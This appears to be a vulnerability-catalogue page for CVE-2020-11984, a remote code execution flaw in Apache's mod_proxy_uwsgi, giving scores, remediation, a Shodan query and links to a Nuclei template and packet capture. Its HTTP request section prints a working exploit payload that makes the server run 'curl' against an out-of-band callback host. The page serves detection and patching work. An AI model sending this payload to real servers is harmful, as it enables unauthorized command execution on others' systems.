🔙 목록으로 돌아가기

CVE-2020-11984: Apache HTTP Server - Remote Code Execution

TitleApache HTTP Server - Remote Code Execution
Authorwofeiwo@80sec.com,pszyszkowski,pdresearch,iamnoooob
SeverityCritical
ImpactAttackers can exploit the mod_proxy_uwsgi vulnerability to access sensitive information or execute arbitrary code on the Apache HTTP Server, potentially compromising the entire web server and its hosted applications.
RemediationUpdate Apache HTTP Server to version 2.4.45 or later.
CVSS Score9.8
EPSS Score0.75348
CVE IDCVE-2020-11984
CWE IDCWE-120
Shodan Querycpe:"cpe:2.3:a:apache:http_server"
Tags cve cve2020 apache httpd rce vkev vuln

🔍 Vulnerability Description

Apache HTTP Server 2.4.32 to 2.4.44 contains an info disclosure and possible remote code execution caused by a vulnerability in mod_proxy_uwsgi, letting remote attackers access sensitive information and potentially execute arbitrary code, exploit requires sending crafted requests.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 118
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

r
UWSGI_FILEKexec://curl aaaaaaaa.d5jofq1le0o0i51e89v0b7ws5sibm8u8z.oast.online; echo ""SCRIPT_NAME
/penetrate

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11984.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-11984.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A